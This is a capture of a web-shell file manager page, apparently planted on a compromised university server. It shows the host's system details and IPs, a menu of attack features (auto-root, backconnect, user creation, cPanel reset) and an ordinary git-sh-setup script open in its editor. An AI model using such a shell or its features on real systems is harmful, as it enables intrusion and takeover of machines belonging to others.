Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.161.199
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
git-core /
[ HOME SHELL ]
Name
Size
Permission
Action
mergetools
[ DIR ]
drwxr-xr-x
git
2.98
MB
-rwxr-xr-x
git-add
2.98
MB
-rwxr-xr-x
git-add--interactive
45.09
KB
-rwxr-xr-x
git-am
2.98
MB
-rwxr-xr-x
git-annotate
2.98
MB
-rwxr-xr-x
git-apply
2.98
MB
-rwxr-xr-x
git-archive
2.98
MB
-rwxr-xr-x
git-bisect
8.1
KB
-rwxr-xr-x
git-bisect--helper
2.98
MB
-rwxr-xr-x
git-blame
2.98
MB
-rwxr-xr-x
git-branch
2.98
MB
-rwxr-xr-x
git-bundle
2.98
MB
-rwxr-xr-x
git-cat-file
2.98
MB
-rwxr-xr-x
git-check-attr
2.98
MB
-rwxr-xr-x
git-check-ignore
2.98
MB
-rwxr-xr-x
git-check-mailmap
2.98
MB
-rwxr-xr-x
git-check-ref-format
2.98
MB
-rwxr-xr-x
git-checkout
2.98
MB
-rwxr-xr-x
git-checkout-index
2.98
MB
-rwxr-xr-x
git-cherry
2.98
MB
-rwxr-xr-x
git-cherry-pick
2.98
MB
-rwxr-xr-x
git-clean
2.98
MB
-rwxr-xr-x
git-clone
2.98
MB
-rwxr-xr-x
git-column
2.98
MB
-rwxr-xr-x
git-commit
2.98
MB
-rwxr-xr-x
git-commit-graph
2.98
MB
-rwxr-xr-x
git-commit-tree
2.98
MB
-rwxr-xr-x
git-config
2.98
MB
-rwxr-xr-x
git-count-objects
2.98
MB
-rwxr-xr-x
git-credential
2.98
MB
-rwxr-xr-x
git-credential-cache
1.71
MB
-rwxr-xr-x
git-credential-cache--daemon
1.71
MB
-rwxr-xr-x
git-credential-store
1.71
MB
-rwxr-xr-x
git-daemon
1.73
MB
-rwxr-xr-x
git-describe
2.98
MB
-rwxr-xr-x
git-diff
2.98
MB
-rwxr-xr-x
git-diff-files
2.98
MB
-rwxr-xr-x
git-diff-index
2.98
MB
-rwxr-xr-x
git-diff-tree
2.98
MB
-rwxr-xr-x
git-difftool
2.98
MB
-rwxr-xr-x
git-difftool--helper
2.18
KB
-rwxr-xr-x
git-env--helper
2.98
MB
-rwxr-xr-x
git-fast-export
2.98
MB
-rwxr-xr-x
git-fast-import
1.75
MB
-rwxr-xr-x
git-fetch
2.98
MB
-rwxr-xr-x
git-fetch-pack
2.98
MB
-rwxr-xr-x
git-filter-branch
15.95
KB
-rwxr-xr-x
git-fmt-merge-msg
2.98
MB
-rwxr-xr-x
git-for-each-ref
2.98
MB
-rwxr-xr-x
git-format-patch
2.98
MB
-rwxr-xr-x
git-fsck
2.98
MB
-rwxr-xr-x
git-fsck-objects
2.98
MB
-rwxr-xr-x
git-gc
2.98
MB
-rwxr-xr-x
git-get-tar-commit-id
2.98
MB
-rwxr-xr-x
git-grep
2.98
MB
-rwxr-xr-x
git-hash-object
2.98
MB
-rwxr-xr-x
git-help
2.98
MB
-rwxr-xr-x
git-http-backend
1.72
MB
-rwxr-xr-x
git-http-fetch
1.75
MB
-rwxr-xr-x
git-http-push
1.77
MB
-rwxr-xr-x
git-imap-send
1.76
MB
-rwxr-xr-x
git-index-pack
2.98
MB
-rwxr-xr-x
git-init
2.98
MB
-rwxr-xr-x
git-init-db
2.98
MB
-rwxr-xr-x
git-instaweb
21.84
KB
-rwxr-xr-x
git-interpret-trailers
2.98
MB
-rwxr-xr-x
git-legacy-stash
16.03
KB
-rwxr-xr-x
git-log
2.98
MB
-rwxr-xr-x
git-ls-files
2.98
MB
-rwxr-xr-x
git-ls-remote
2.98
MB
-rwxr-xr-x
git-ls-tree
2.98
MB
-rwxr-xr-x
git-mailinfo
2.98
MB
-rwxr-xr-x
git-mailsplit
2.98
MB
-rwxr-xr-x
git-merge
2.98
MB
-rwxr-xr-x
git-merge-base
2.98
MB
-rwxr-xr-x
git-merge-file
2.98
MB
-rwxr-xr-x
git-merge-index
2.98
MB
-rwxr-xr-x
git-merge-octopus
2.42
KB
-rwxr-xr-x
git-merge-one-file
3.61
KB
-rwxr-xr-x
git-merge-ours
2.98
MB
-rwxr-xr-x
git-merge-recursive
2.98
MB
-rwxr-xr-x
git-merge-resolve
944
B
-rwxr-xr-x
git-merge-subtree
2.98
MB
-rwxr-xr-x
git-merge-tree
2.98
MB
-rwxr-xr-x
git-mergetool
10.06
KB
-rwxr-xr-x
git-mergetool--lib
8.99
KB
-rw-r--r--
git-mktag
2.98
MB
-rwxr-xr-x
git-mktree
2.98
MB
-rwxr-xr-x
git-multi-pack-index
2.98
MB
-rwxr-xr-x
git-mv
2.98
MB
-rwxr-xr-x
git-name-rev
2.98
MB
-rwxr-xr-x
git-notes
2.98
MB
-rwxr-xr-x
git-pack-objects
2.98
MB
-rwxr-xr-x
git-pack-redundant
2.98
MB
-rwxr-xr-x
git-pack-refs
2.98
MB
-rwxr-xr-x
git-parse-remote
2.59
KB
-rw-r--r--
git-patch-id
2.98
MB
-rwxr-xr-x
git-prune
2.98
MB
-rwxr-xr-x
git-prune-packed
2.98
MB
-rwxr-xr-x
git-pull
2.98
MB
-rwxr-xr-x
git-push
2.98
MB
-rwxr-xr-x
git-quiltimport
3.61
KB
-rwxr-xr-x
git-range-diff
2.98
MB
-rwxr-xr-x
git-read-tree
2.98
MB
-rwxr-xr-x
git-rebase
2.98
MB
-rwxr-xr-x
git-rebase--preserve-merges
28.91
KB
-rw-r--r--
git-receive-pack
2.98
MB
-rwxr-xr-x
git-reflog
2.98
MB
-rwxr-xr-x
git-remote
2.98
MB
-rwxr-xr-x
git-remote-ext
2.98
MB
-rwxr-xr-x
git-remote-fd
2.98
MB
-rwxr-xr-x
git-remote-ftp
1.77
MB
-rwxr-xr-x
git-remote-ftps
1.77
MB
-rwxr-xr-x
git-remote-http
1.77
MB
-rwxr-xr-x
git-remote-https
1.77
MB
-rwxr-xr-x
git-remote-testsvn
1.73
MB
-rwxr-xr-x
git-repack
2.98
MB
-rwxr-xr-x
git-replace
2.98
MB
-rwxr-xr-x
git-request-pull
4.03
KB
-rwxr-xr-x
git-rerere
2.98
MB
-rwxr-xr-x
git-reset
2.98
MB
-rwxr-xr-x
git-restore
2.98
MB
-rwxr-xr-x
git-rev-list
2.98
MB
-rwxr-xr-x
git-rev-parse
2.98
MB
-rwxr-xr-x
git-revert
2.98
MB
-rwxr-xr-x
git-rm
2.98
MB
-rwxr-xr-x
git-send-pack
2.98
MB
-rwxr-xr-x
git-sh-i18n
2.39
KB
-rw-r--r--
git-sh-i18n--envsubst
1.71
MB
-rwxr-xr-x
git-sh-prompt
16.54
KB
-rw-r--r--
git-sh-setup
9.09
KB
-rw-r--r--
git-shell
1.71
MB
-rwxr-xr-x
git-shortlog
2.98
MB
-rwxr-xr-x
git-show
2.98
MB
-rwxr-xr-x
git-show-branch
2.98
MB
-rwxr-xr-x
git-show-index
2.98
MB
-rwxr-xr-x
git-show-ref
2.98
MB
-rwxr-xr-x
git-sparse-checkout
2.98
MB
-rwxr-xr-x
git-stage
2.98
MB
-rwxr-xr-x
git-stash
2.98
MB
-rwxr-xr-x
git-status
2.98
MB
-rwxr-xr-x
git-stripspace
2.98
MB
-rwxr-xr-x
git-submodule
25.23
KB
-rwxr-xr-x
git-submodule--helper
2.98
MB
-rwxr-xr-x
git-subtree
17.08
KB
-rwxr-xr-x
git-switch
2.98
MB
-rwxr-xr-x
git-symbolic-ref
2.98
MB
-rwxr-xr-x
git-tag
2.98
MB
-rwxr-xr-x
git-unpack-file
2.98
MB
-rwxr-xr-x
git-unpack-objects
2.98
MB
-rwxr-xr-x
git-update-index
2.98
MB
-rwxr-xr-x
git-update-ref
2.98
MB
-rwxr-xr-x
git-update-server-info
2.98
MB
-rwxr-xr-x
git-upload-archive
2.98
MB
-rwxr-xr-x
git-upload-pack
2.98
MB
-rwxr-xr-x
git-var
2.98
MB
-rwxr-xr-x
git-verify-commit
2.98
MB
-rwxr-xr-x
git-verify-pack
2.98
MB
-rwxr-xr-x
git-verify-tag
2.98
MB
-rwxr-xr-x
git-web--browse
4.3
KB
-rwxr-xr-x
git-whatchanged
2.98
MB
-rwxr-xr-x
git-worktree
2.98
MB
-rwxr-xr-x
git-write-tree
2.98
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git-sh-setup
# This shell scriplet is meant to be included by other shell scripts # to set up some variables pointing at the normal git directories and # a few helper shell functions. # Having this variable in your environment would break scripts because # you would cause "cd" to be taken to unexpected places. If you # like CDPATH, define it for your interactive shell sessions without # exporting it. # But we protect ourselves from such a user mistake nevertheless. unset CDPATH # Similarly for IFS, but some shells (e.g. FreeBSD 7.2) are buggy and # do not equate an unset IFS with IFS with the default, so here is # an explicit SP HT LF. IFS=' ' git_broken_path_fix () { case ":$PATH:" in *:$1:*) : ok ;; *) PATH=$( SANE_TOOL_PATH="$1" IFS=: path= sep= set x $PATH shift for elem do case "$SANE_TOOL_PATH:$elem" in (?*:/bin | ?*:/usr/bin) path="$path$sep$SANE_TOOL_PATH" sep=: SANE_TOOL_PATH= esac path="$path$sep$elem" sep=: done echo "$path" ) ;; esac } # Source git-sh-i18n for gettext support. . "$(git --exec-path)/git-sh-i18n" die () { die_with_status 1 "$@" } die_with_status () { status=$1 shift printf >&2 '%s\n' "$*" exit "$status" } GIT_QUIET= say () { if test -z "$GIT_QUIET" then printf '%s\n' "$*" fi } if test -n "$OPTIONS_SPEC"; then usage() { "$0" -h exit 1 } parseopt_extra= [ -n "$OPTIONS_KEEPDASHDASH" ] && parseopt_extra="--keep-dashdash" [ -n "$OPTIONS_STUCKLONG" ] && parseopt_extra="$parseopt_extra --stuck-long" eval "$( echo "$OPTIONS_SPEC" | git rev-parse --parseopt $parseopt_extra -- "$@" || echo exit $? )" else dashless=$(basename -- "$0" | sed -e 's/-/ /') usage() { die "$(eval_gettext "usage: \$dashless \$USAGE")" } if [ -z "$LONG_USAGE" ] then LONG_USAGE="$(eval_gettext "usage: \$dashless \$USAGE")" else LONG_USAGE="$(eval_gettext "usage: \$dashless \$USAGE $LONG_USAGE")" fi case "$1" in -h) echo "$LONG_USAGE" case "$0" in *git-legacy-stash) exit 129;; esac exit esac fi # Set the name of the end-user facing command in the reflog when the # script may update refs. When GIT_REFLOG_ACTION is already set, this # will not overwrite it, so that a scripted Porcelain (e.g. "git # rebase") can set it to its own name (e.g. "rebase") and then call # another scripted Porcelain (e.g. "git am") and a call to this # function in the latter will keep the name of the end-user facing # program (e.g. "rebase") in GIT_REFLOG_ACTION, ensuring whatever it # does will be record as actions done as part of the end-user facing # operation (e.g. "rebase"). # # NOTE NOTE NOTE: consequently, after assigning a specific message to # GIT_REFLOG_ACTION when calling a "git" command to record a custom # reflog message, do not leave that custom value in GIT_REFLOG_ACTION, # after you are done. Other callers of "git" commands that rely on # writing the default "program name" in reflog expect the variable to # contain the value set by this function. # # To use a custom reflog message, do either one of these three: # # (a) use a single-shot export form: # GIT_REFLOG_ACTION="$GIT_REFLOG_ACTION: preparing frotz" \ # git command-that-updates-a-ref # # (b) save the original away and restore: # SAVED_ACTION=$GIT_REFLOG_ACTION # GIT_REFLOG_ACTION="$GIT_REFLOG_ACTION: preparing frotz" # git command-that-updates-a-ref # GIT_REFLOG_ACITON=$SAVED_ACTION # # (c) assign the variable in a subshell: # ( # GIT_REFLOG_ACTION="$GIT_REFLOG_ACTION: preparing frotz" # git command-that-updates-a-ref # ) set_reflog_action() { if [ -z "${GIT_REFLOG_ACTION:+set}" ] then GIT_REFLOG_ACTION="$*" export GIT_REFLOG_ACTION fi } git_editor() { if test -z "${GIT_EDITOR:+set}" then GIT_EDITOR="$(git var GIT_EDITOR)" || return $? fi eval "$GIT_EDITOR" '"$@"' } git_pager() { if test -t 1 then GIT_PAGER=$(git var GIT_PAGER) else GIT_PAGER=cat fi for vardef in LESS=FRX LV=-c do var=${vardef%%=*} eval ": \"\${$vardef}\" && export $var" done eval "$GIT_PAGER" '"$@"' } sane_grep () { GREP_OPTIONS= LC_ALL=C grep -a "$@" } sane_egrep () { GREP_OPTIONS= LC_ALL=C egrep -a "$@" } is_bare_repository () { git rev-parse --is-bare-repository } cd_to_toplevel () { cdup=$(git rev-parse --show-toplevel) && cd "$cdup" || { gettextln "Cannot chdir to \$cdup, the toplevel of the working tree" >&2 exit 1 } } require_work_tree_exists () { if test "z$(git rev-parse --is-bare-repository)" != zfalse then program_name=$0 die "$(eval_gettext "fatal: \$program_name cannot be used without a working tree.")" fi } require_work_tree () { test "$(git rev-parse --is-inside-work-tree 2>/dev/null)" = true || { program_name=$0 die "$(eval_gettext "fatal: \$program_name cannot be used without a working tree.")" } } require_clean_work_tree () { git rev-parse --verify HEAD >/dev/null || exit 1 git update-index -q --ignore-submodules --refresh err=0 if ! git diff-files --quiet --ignore-submodules then action=$1 case "$action" in rebase) gettextln "Cannot rebase: You have unstaged changes." >&2 ;; "rewrite branches") gettextln "Cannot rewrite branches: You have unstaged changes." >&2 ;; "pull with rebase") gettextln "Cannot pull with rebase: You have unstaged changes." >&2 ;; *) eval_gettextln "Cannot \$action: You have unstaged changes." >&2 ;; esac err=1 fi if ! git diff-index --cached --quiet --ignore-submodules HEAD -- then if test $err = 0 then action=$1 case "$action" in rebase) gettextln "Cannot rebase: Your index contains uncommitted changes." >&2 ;; "pull with rebase") gettextln "Cannot pull with rebase: Your index contains uncommitted changes." >&2 ;; *) eval_gettextln "Cannot \$action: Your index contains uncommitted changes." >&2 ;; esac else gettextln "Additionally, your index contains uncommitted changes." >&2 fi err=1 fi if test $err = 1 then test -n "$2" && echo "$2" >&2 exit 1 fi } # Generate a sed script to parse identities from a commit. # # Reads the commit from stdin, which should be in raw format (e.g., from # cat-file or "--pretty=raw"). # # The first argument specifies the ident line to parse (e.g., "author"), and # the second specifies the environment variable to put it in (e.g., "AUTHOR" # for "GIT_AUTHOR_*"). Multiple pairs can be given to parse author and # committer. pick_ident_script () { while test $# -gt 0 do lid=$1; shift uid=$1; shift printf '%s' " /^$lid /{ s/'/'\\\\''/g h s/^$lid "'\([^<]*\) <[^>]*> .*$/\1/'" s/.*/GIT_${uid}_NAME='&'/p g s/^$lid "'[^<]* <\([^>]*\)> .*$/\1/'" s/.*/GIT_${uid}_EMAIL='&'/p g s/^$lid "'[^<]* <[^>]*> \(.*\)$/@\1/'" s/.*/GIT_${uid}_DATE='&'/p } " done echo '/^$/q' } # Create a pick-script as above and feed it to sed. Stdout is suitable for # feeding to eval. parse_ident_from_commit () { LANG=C LC_ALL=C sed -ne "$(pick_ident_script "$@")" } # Parse the author from a commit given as an argument. Stdout is suitable for # feeding to eval to set the usual GIT_* ident variables. get_author_ident_from_commit () { encoding=$(git config i18n.commitencoding || echo UTF-8) git show -s --pretty=raw --encoding="$encoding" "$1" -- | parse_ident_from_commit author AUTHOR } # Clear repo-local GIT_* environment variables. Useful when switching to # another repository (e.g. when entering a submodule). See also the env # list in git_connect() clear_local_git_env() { unset $(git rev-parse --local-env-vars) } # Generate a virtual base file for a two-file merge. Uses git apply to # remove lines from $1 that are not in $2, leaving only common lines. create_virtual_base() { sz0=$(wc -c <"$1") diff -u -La/"$1" -Lb/"$1" "$1" "$2" | git apply --no-add sz1=$(wc -c <"$1") # If we do not have enough common material, it is not # worth trying two-file merge using common subsections. expr $sz0 \< $sz1 \* 2 >/dev/null || : >"$1" } # Platform specific tweaks to work around some commands case $(uname -s) in *MINGW*) # Windows has its own (incompatible) sort and find sort () { /usr/bin/sort "$@" } find () { /usr/bin/find "$@" } # git sees Windows-style pwd pwd () { builtin pwd -W } is_absolute_path () { case "$1" in [/\\]* | [A-Za-z]:*) return 0 ;; esac return 1 } ;; *) is_absolute_path () { case "$1" in /*) return 0 ;; esac return 1 } esac # Make sure we are in a valid repository of a vintage we understand, # if we require to be in a git repository. git_dir_init () { GIT_DIR=$(git rev-parse --git-dir) || exit if [ -z "$SUBDIRECTORY_OK" ] then test -z "$(git rev-parse --show-cdup)" || { exit=$? gettextln "You need to run this command from the toplevel of the working tree." >&2 exit $exit } fi test -n "$GIT_DIR" && GIT_DIR=$(cd "$GIT_DIR" && pwd) || { gettextln "Unable to determine absolute path of git directory" >&2 exit 1 } : "${GIT_OBJECT_DIRECTORY="$(git rev-parse --git-path objects)"}" } if test -z "$NONGIT_OK" then git_dir_init fi peel_committish () { case "$1" in :/*) peeltmp=$(git rev-parse --verify "$1") && git rev-parse --verify "${peeltmp}^0" ;; *) git rev-parse --verify "${1}^0" ;; esac }
Close